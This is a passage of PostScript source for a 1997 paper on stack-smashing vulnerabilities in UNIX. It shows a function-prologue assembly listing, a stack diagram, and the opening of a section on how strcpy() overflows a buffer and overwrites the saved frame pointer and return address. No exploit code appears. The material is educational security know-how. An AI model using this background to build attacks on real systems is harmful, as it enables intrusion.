sco O ; 4412 3584 N M 6 6 rr : 0 0 0 sco O ; 4412 3584 N M 6 6 rr : 0 0 0 sco O ; 586 3505 N M 6 79 rr : 0 0 0 sco O ; 4412 3505 N M 6 79 rr : 0 0 0 sco O ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 912 4493 M -0.200 0 (pushl %ebp)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 1812 4493 M -0.200 0 (; push frame pointer onto stack)A ; 586 4479 N M 6 6 rr : 0 0 0 sco O ; 586 4479 N M 6 6 rr : 0 0 0 sco O ; 592 4479 N M 3820 6 rr : 0 0 0 sco O ; 4412 4479 N M 6 6 rr : 0 0 0 sco O ; 4412 4479 N M 6 6 rr : 0 0 0 sco O ; 586 4485 N M 6 79 rr : 0 0 0 sco O ; 4412 4485 N M 6 79 rr : 0 0 0 sco O ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 912 4564 M -0.200 0 (movl %esp,%ebp)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 1812 4564 M -0.200 0 (; copy SP onto EBP, creating the new frame pointe)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 3772 4564 M -0.200 0 (r \(FP\))A ; 586 4564 N M 6 71 rr : 0 0 0 sco O ; 4412 4564 N M 6 71 rr : 0 0 0 sco O ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 912 4635 M -0.200 0 (subl $20,%esp)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 1812 4635 M -0.200 0 (; allocate space for local variables)A ; 586 4714 N M 6 6 rr : 0 0 0 sco O ; 586 4714 N M 6 6 rr : 0 0 0 sco O ; 592 4714 N M 3820 6 rr : 0 0 0 sco O ; 4412 4714 N M 6 6 rr : 0 0 0 sco O ; 4412 4714 N M 6 6 rr : 0 0 0 sco O ; 586 4635 N M 6 79 rr : 0 0 0 sco O ; 4412 4635 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 14 ]%%) = %%PageTrailer %%Page: 15 15 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (15)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1796 3633 M 0.205 0 (Figure 7.1.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2225 3634 M 0.001 0 ( - Example 7.1.a in user stack)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3782 M 0.064 0 (8. Buffer Overflows)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3987 M -2.300 0 (I)A 15.000 0 32 (n )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D 14.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 15.000 0 32 (, bu)W -0.300 0 (ff)A -0.400 0 (e)A 16.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 15.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 16.400 0 32 -0.400 0 (e a c)D (o)S 0.200 0 (mm)A 16.000 0 32 (on o)W -0.400 0 (cc)A (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S -0.400 0 (ce)A 16.000 0 32 (. )W -0.300 0 (r)A -0.400 0 (eca)A 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4164 M 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t )D (b)S 9.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A 6.000 0 32 (n, )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 6.400 0 32 -0.400 0 (e )D (do)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D (no)S 5.800 0 32 0.200 0 (t i)D (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (a)A 0.200 0 (ll)A 9.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (uppo)S -0.300 0 (r)A 5.800 0 32 0.200 0 (t )D (bound)S 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D -0.200 0 (w)A (h)S -0.400 0 (e)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4341 M 0.200 0 (i)A (n)S 0.200 0 (iti)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A 0.200 0 (i)A (n)S -1.000 0 (g)A 14.000 0 32 (, )W -0.400 0 (c)A (op)S -3.000 0 (y)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D (o)S 14.300 0 32 -0.300 0 (r )D 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D (d)S -0.400 0 (a)A 0.200 0 (t)A 15.400 0 32 -0.400 0 (a )D (b)S -0.400 0 (e)A 0.200 0 (t)A -0.200 0 (w)A -0.400 0 (ee)A 15.000 0 32 (n o)W 15.300 0 32 -0.300 0 (r )D 0.200 0 (i)A (n)S 0.200 0 (t)A 15.000 0 32 (o v)W -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 3263 4341 M 0.100 0 (s)A 15.400 0 32 -0.400 0 (ee )D 0.100 0 (s)A -0.400 0 (ec)A 0.200 0 (ti)A 15.000 0 32 (on 5)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3803 4341 M -0.300 0 (\))A 15.000 0 32 (. )W -0.700 0 (B)A -0.400 0 (e)A 0.200 0 (l)A (o)S 15.200 0 32 -0.200 0 (w )D 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4518 M -0.145 0 (simple buffer overflow example using string arrays:)A ; 586 854 N M 6 6 rr : 0 0 0 sco O ; 586 854 N M 6 6 rr : 0 0 0 sco O ; 592 854 N M 3820 6 rr : 0 0 0 sco O ; 4412 854 N M 6 6 rr : 0 0 0 sco O ; 4412 854 N M 6 6 rr : 0 0 0 sco O ; 586 860 N M 6 155 rr : 0 0 0 sco O ; 4412 860 N M 6 155 rr : 0 0 0 sco O ; 1609 1023 N M 1785 2485 rr : 1.000 1.000 1.000 sco O ; 17 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 2326 3093 2167 115 rc 0 0 0 sco (F2_101) cvn F2 101 xF F2_101 Ji 2436 3093 M -0.500 0 (b)A -0.289 0 (ss)A ; : 511 3015 3982 258 rc 1601 3267 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 3015 3982 258 rc 3401 3267 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 3266 N M 1804 0 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 3265 3982 258 rc 1601 3517 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 3265 3982 258 rc 3401 3517 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2666 N M 1804 0 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 1601 1015 N M 1801 7 rr : 0.251 0.251 0.251 sco O ; 1601 1022 N M 1801 9 rr : 0.259 0.259 0.259 sco O ; 1601 1031 N M 1801 7 rr : 0.267 0.267 0.267 sco O ; 1601 1038 N M 1801 7 rr : 0.275 0.275 0.275 sco O ; 1601 1045 N M 1801 7 rr : 0.282 0.282 0.282 sco O ; 1601 1052 N M 1801 9 rr : 0.290 0.290 0.290 sco O ; 1601 1061 N M 1801 7 rr : 0.298 0.298 0.298 sco O ; 1601 1068 N M 1801 7 rr : 0.306 0.306 0.306 sco O ; 1601 1075 N M 1801 8 rr : 0.314 0.314 0.314 sco O ; 1601 1083 N M 1801 8 rr : 0.322 0.322 0.322 sco O ; 1601 1091 N M 1801 7 rr : 0.329 0.329 0.329 sco O ; 1601 1098 N M 1801 8 rr : 0.337 0.337 0.337 sco O ; 1601 1106 N M 1801 7 rr : 0.345 0.345 0.345 sco O ; 1601 1113 N M 1801 8 rr : 0.353 0.353 0.353 sco O ; 1601 1121 N M 1801 8 rr : 0.361 0.361 0.361 sco O ; 1601 1129 N M 1801 7 rr : 0.369 0.369 0.369 sco O ; 1601 1136 N M 1801 7 rr : 0.376 0.376 0.376 sco O ; 1601 1143 N M 1801 8 rr : 0.384 0.384 0.384 sco O ; 1601 1151 N M 1801 8 rr : 0.392 0.392 0.392 sco O ; 1601 1159 N M 1801 7 rr : 0.400 0.400 0.400 sco O ; 1601 1166 N M 1801 8 rr : 0.408 0.408 0.408 sco O ; 1601 1174 N M 1801 8 rr : 0.416 0.416 0.416 sco O ; 1601 1182 N M 1801 7 rr : 0.424 0.424 0.424 sco O ; 1601 1189 N M 1801 7 rr : 0.431 0.431 0.431 sco O ; 1601 1196 N M 1801 9 rr : 0.439 0.439 0.439 sco O ; 1601 1205 N M 1801 7 rr : 0.447 0.447 0.447 sco O ; 1601 1212 N M 1801 7 rr : 0.455 0.455 0.455 sco O ; 1601 1219 N M 1801 7 rr : 0.463 0.463 0.463 sco O ; 1601 1226 N M 1801 9 rr : 0.471 0.471 0.471 sco O ; 1601 1235 N M 1801 7 rr : 0.478 0.478 0.478 sco O ; 1601 1242 N M 1801 7 rr : 0.486 0.486 0.486 sco O ; 1601 1249 N M 1801 8 rr : 0.494 0.494 0.494 sco O ; 1601 1257 N M 1801 8 rr : 0.502 0.502 0.502 sco O ; 1601 1265 N M 1801 7 rr : 0.510 0.510 0.510 sco O ; 1601 1272 N M 1801 8 rr : 0.518 0.518 0.518 sco O ; 1601 1280 N M 1801 7 rr : 0.525 0.525 0.525 sco O ; 1601 1287 N M 1801 8 rr : 0.533 0.533 0.533 sco O ; 1601 1295 N M 1801 7 rr : 0.541 0.541 0.541 sco O ; 1601 1302 N M 1801 8 rr : 0.549 0.549 0.549 sco O ; 1601 1310 N M 1801 8 rr : 0.557 0.557 0.557 sco O ; 1601 1318 N M 1801 7 rr : 0.565 0.565 0.565 sco O ; 1601 1325 N M 1801 8 rr : 0.573 0.573 0.573 sco O ; 1601 1333 N M 1801 7 rr : 0.580 0.580 0.580 sco O ; 1601 1340 N M 1801 8 rr : 0.588 0.588 0.588 sco O ; 1601 1348 N M 1801 8 rr : 0.596 0.596 0.596 sco O ; 1601 1356 N M 1801 7 rr : 0.604 0.604 0.604 sco O ; 1601 1363 N M 1801 7 rr : 0.612 0.612 0.612 sco O ; 1601 1370 N M 1801 9 rr : 0.620 0.620 0.620 sco O ; 1601 1379 N M 1801 7 rr : 0.627 0.627 0.627 sco O ; 1601 1386 N M 1801 7 rr : 0.635 0.635 0.635 sco O ; 1601 1393 N M 1801 7 rr : 0.643 0.643 0.643 sco O ; 1601 1400 N M 1801 9 rr : 0.651 0.651 0.651 sco O ; 1601 1409 N M 1801 7 rr : 0.659 0.659 0.659 sco O ; 1601 1416 N M 1801 7 rr : 0.667 0.667 0.667 sco O ; 1601 1423 N M 1801 8 rr : 0.675 0.675 0.675 sco O ; 1601 1431 N M 1801 8 rr : 0.682 0.682 0.682 sco O ; 1601 1439 N M 1801 7 rr : 0.690 0.690 0.690 sco O ; 1601 1446 N M 1801 70 rr : 0.698 0.698 0.698 sco O ; 1605 1019 N M 1793 493 rr 8 Lw solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K : 2182 1343 2311 115 rc 0 0 0 sco (F6_101) cvn F6 101 xF F6_101 Ji 2299 1343 M -0.500 0 (u)A -0.289 0 (s)A -0.844 0 (e)A 0.039 0 32 -0.289 0 (r )D 0.711 0 (s)A -1.078 0 (t)A -0.500 0 (a)A 0.156 0 (c)A -0.844 0 (k)A ; : 1601 854 1808 2775 rc 1599 1516 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 1601 3065 N M 1801 63 rr : 0.698 0.698 0.698 sco O ; 1601 3128 N M 1801 8 rr : 0.698 0.698 0.698 sco O ; 1601 3136 N M 1801 6 rr : 0.690 0.690 0.690 sco O ; 1601 3142 N M 1801 7 rr : 0.682 0.682 0.682 sco O ; 1601 3149 N M 1801 7 rr : 0.675 0.675 0.675 sco O ; 1601 3156 N M 1801 7 rr : 0.667 0.667 0.667 sco O ; 1601 3163 N M 1801 6 rr : 0.659 0.659 0.659 sco O ; 1601 3169 N M 1801 7 rr : 0.651 0.651 0.651 sco O ; 1601 3176 N M 1801 7 rr : 0.643 0.643 0.643 sco O ; 1601 3183 N M 1801 7 rr : 0.635 0.635 0.635 sco O ; 1601 3190 N M 1801 6 rr : 0.627 0.627 0.627 sco O ; 1601 3196 N M 1801 7 rr : 0.620 0.620 0.620 sco O ; 1601 3203 N M 1801 7 rr : 0.612 0.612 0.612 sco O ; 1601 3210 N M 1801 7 rr : 0.604 0.604 0.604 sco O ; 1601 3217 N M 1801 6 rr : 0.596 0.596 0.596 sco O ; 1601 3223 N M 1801 8 rr : 0.588 0.588 0.588 sco O ; 1601 3231 N M 1801 6 rr : 0.580 0.580 0.580 sco O ; 1601 3237 N M 1801 7 rr : 0.573 0.573 0.573 sco O ; 1601 3244 N M 1801 6 rr : 0.565 0.565 0.565 sco O ; 1601 3250 N M 1801 8 rr : 0.557 0.557 0.557 sco O ; 1601 3258 N M 1801 7 rr : 0.549 0.549 0.549 sco O ; 1601 3265 N M 1801 6 rr : 0.541 0.541 0.541 sco O ; 1601 3271 N M 1801 7 rr : 0.533 0.533 0.533 sco O ; 1601 3278 N M 1801 7 rr : 0.525 0.525 0.525 sco O ; 1601 3285 N M 1801 7 rr : 0.518 0.518 0.518 sco O ; 1601 3292 N M 1801 6 rr : 0.510 0.510 0.510 sco O ; 1601 3298 N M 1801 8 rr : 0.502 0.502 0.502 sco O ; 1601 3306 N M 1801 6 rr : 0.494 0.494 0.494 sco O ; 1601 3312 N M 1801 7 rr : 0.486 0.486 0.486 sco O ; 1601 3319 N M 1801 6 rr : 0.478 0.478 0.478 sco O ; 1601 3325 N M 1801 8 rr : 0.471 0.471 0.471 sco O ; 1601 3333 N M 1801 6 rr : 0.463 0.463 0.463 sco O ; 1601 3339 N M 1801 7 rr : 0.455 0.455 0.455 sco O ; 1601 3346 N M 1801 6 rr : 0.447 0.447 0.447 sco O ; 1601 3352 N M 1801 8 rr : 0.439 0.439 0.439 sco O ; 1601 3360 N M 1801 6 rr : 0.431 0.431 0.431 sco O ; 1601 3366 N M 1801 7 rr : 0.424 0.424 0.424 sco O ; 1601 3373 N M 1801 7 rr : 0.416 0.416 0.416 sco O ; 1601 3380 N M 1801 7 rr : 0.408 0.408 0.408 sco O ; 1601 3387 N M 1801 7 rr : 0.400 0.400 0.400 sco O ; 1601 3394 N M 1801 6 rr : 0.392 0.392 0.392 sco O ; 1601 3400 N M 1801 8 rr : 0.384 0.384 0.384 sco O ; 1601 3408 N M 1801 6 rr : 0.376 0.376 0.376 sco O ; 1601 3414 N M 1801 7 rr : 0.369 0.369 0.369 sco O ; 1601 3421 N M 1801 6 rr : 0.361 0.361 0.361 sco O ; 1601 3427 N M 1801 8 rr : 0.353 0.353 0.353 sco O ; 1601 3435 N M 1801 6 rr : 0.345 0.345 0.345 sco O ; 1601 3441 N M 1801 7 rr : 0.337 0.337 0.337 sco O ; 1601 3448 N M 1801 7 rr : 0.329 0.329 0.329 sco O ; 1601 3455 N M 1801 7 rr : 0.322 0.322 0.322 sco O ; 1601 3462 N M 1801 6 rr : 0.314 0.314 0.314 sco O ; 1601 3468 N M 1801 7 rr : 0.306 0.306 0.306 sco O ; 1601 3475 N M 1801 7 rr : 0.298 0.298 0.298 sco O ; 1601 3482 N M 1801 7 rr : 0.290 0.290 0.290 sco O ; 1601 3489 N M 1801 6 rr : 0.282 0.282 0.282 sco O ; 1601 3495 N M 1801 7 rr : 0.275 0.275 0.275 sco O ; 1601 3502 N M 1801 7 rr : 0.267 0.267 0.267 sco O ; 1601 3509 N M 1801 7 rr : 0.259 0.259 0.259 sco O ; 1605 3069 N M 1793 443 rr : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K : 1601 854 1808 2775 rc 1599 3266 N M 1804 0 - 33 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 3066 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2286 3093 2207 115 rc 0 0 0 sco F6_101 Ji 2403 3093 M -0.500 0 (h)A 0.156 0 (e)A -0.500 0 (ap)A ; : 2305 1085 2188 115 rc 0 0 0 sco F2_101 Ji 2415 1085 M 0.156 0 (a)A -0.633 0 (r)A -0.500 0 (g)A -0.844 0 (c)A ; : 1601 854 1808 2775 rc 1599 1266 N M 1804 0 - 33 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2326 3350 2167 115 rc 0 0 0 sco F2_101 Ji 2436 3350 M -0.500 0 (b)A -0.289 0 (ss)A ; : 511 1015 3982 2508 rc 1601 1013 N M 0 2504 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 1015 3982 2508 rc 3401 1013 N M 0 2504 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 1016 N M 1804 0 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 3516 N M 1804 0 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 1866 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2066 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2266 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2466 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2866 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2226 2905 2267 107 rc 0 0 0 sco %%IncludeFont: Courier (F10) cvn 0.800 (Courier) cvn /Type1 T (Courier) cvn mF (F10_100) cvn F10 100 xF F10_100 Ji 2291 2905 M 1.000 0 (b)A -1.000 0 (u)A (ffe)S 1.000 0 (r)A -1.000 0 (2)A ; : 2226 2705 2267 107 rc 0 0 0 sco F10_100 Ji 2291 2705 M 1.000 0 (b)A -1.000 0 (u)A (ffe)S 1.000 0 (r)A -1.000 0 (1)A ; : 2345 2505 2148 107 rc 0 0 0 sco F10_100 Ji 2410 2505 M 1.000 0 (s)A -1.000 0 (f)A (p)S ; : 2345 2305 2148 107 rc 0 0 0 sco F10_100 Ji 2410 2305 M 1.000 0 (r)A -1.000 0 (e)A (t)S ; : 2406 2105 2087 107 rc 0 0 0 sco F10_100 Ji 2471 2105 M 1.000 0 (a)A ; : 2406 1905 2087 107 rc 0 0 0 sco F10_100 Ji 2471 1905 M 1.000 0 (b)A ; : 2406 1655 2087 107 rc 0 0 0 sco F10_100 Ji 2471 1655 M 1.000 0 (c)A ; 586 1015 N M 6 2502 rr : 0 0 0 sco O ; 4412 1015 N M 6 2502 rr : 0 0 0 sco O ; 586 3623 N M 6 6 rr : 0 0 0 sco O ; 586 3623 N M 6 6 rr : 0 0 0 sco O ; 592 3623 N M 3820 6 rr : 0 0 0 sco O ; 4412 3623 N M 6 6 rr : 0 0 0 sco O ; 4412 3623 N M 6 6 rr : 0 0 0 sco O ; 586 3517 N M 6 106 rr : 0 0 0 sco O ; 4412 3517 N M 6 106 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 15 ]%%) = %%PageTrailer %%Page: 16 16 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (16)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F4_67) cvn F4 67 xF F4_67 Ji 1762 1522 M -0.200 0 (Example 8.a - buffer overflow example)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 1744 M 0.600 0 (W)A (h)S -0.400 0 (e)A 7.000 0 32 (n )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 7.000 0 32 (d )W -0.400 0 (a)A 7.000 0 32 (nd )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (d, )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e a)D (bov)S 7.400 0 32 -0.400 0 (e c)D (od)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 6.900 0 32 0.100 0 (s )D 7.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 7.000 0 32 (on v)W 0.200 0 (i)A (o)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A 7.000 0 32 (on. )W 8.000 0 32 ( )W -0.100 0 (T)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1921 M 0.200 0 (t)A -0.400 0 (a)A (k)S -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D (p)S 0.200 0 (l)A 5.400 0 32 -0.400 0 (ace )D (b)S -0.400 0 (eca)A (u)S 0.100 0 (s)A 5.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco (F4_100) cvn F4 100 xF F4_100 Ji 1432 1931 M (function\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2032 1921 M 5.000 0 32 ( )W -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A 0.200 0 (m)A (p)S 0.200 0 (t)A 4.900 0 32 0.100 0 (s )D 0.200 0 (t)A 5.000 0 32 (o )W -0.400 0 (c)A (op)S 8.000 0 32 -3.000 0 (y )D ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2760 1931 M (large_string)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3480 1921 M 5.000 0 32 ( )W 0.200 0 (i)A (n)S 0.200 0 (t)A 5.000 0 32 (o )W ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 3696 1931 M (buffer)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4056 1921 M 5.000 0 32 ( )W -0.200 0 (w)A 0.200 0 (it)A (hou)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2101 M (bound)S 12.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 1590 2111 M (strcpy\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2070 2101 M 13.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2171 2111 M (strcpy\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2651 2101 M 13.000 0 32 ( )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 16.000 0 32 -3.000 0 (y )D (k)S -0.400 0 (ee)A (p)S 12.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 14.000 0 32 -1.000 0 (g )D (un)S 13.800 0 32 0.200 0 (til l)D -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A (_)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2281 M -0.063 0 (exhausted, writing over )A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 1577 2291 M (SFP, RET, )S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2177 2281 M -0.100 0 (and )A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2346 2291 M (*str)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2586 2281 M -0.150 0 ( \()A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F8) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F8_100) cvn F8 100 xF F8_100 Ji 2644 2281 M -0.043 0 (see figure 8.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3185 2281 M -0.300 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1224 4813 M 0.171 0 (Figure 8.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1590 4814 M -0.003 0 ( - Buffer Overflow Example 5.a before and after )A ; : 0 0 4883 6391 rc 0 0 0 sco (F4_83) cvn F4 83 xF F4_83 Ji 3217 4823 M 0.200 0 (strcpy\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 3617 4814 M 0.108 0 ( call.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5111 M -0.700 0 (B)A 12.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 10.000 0 32 -1.000 0 (g )D 9.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 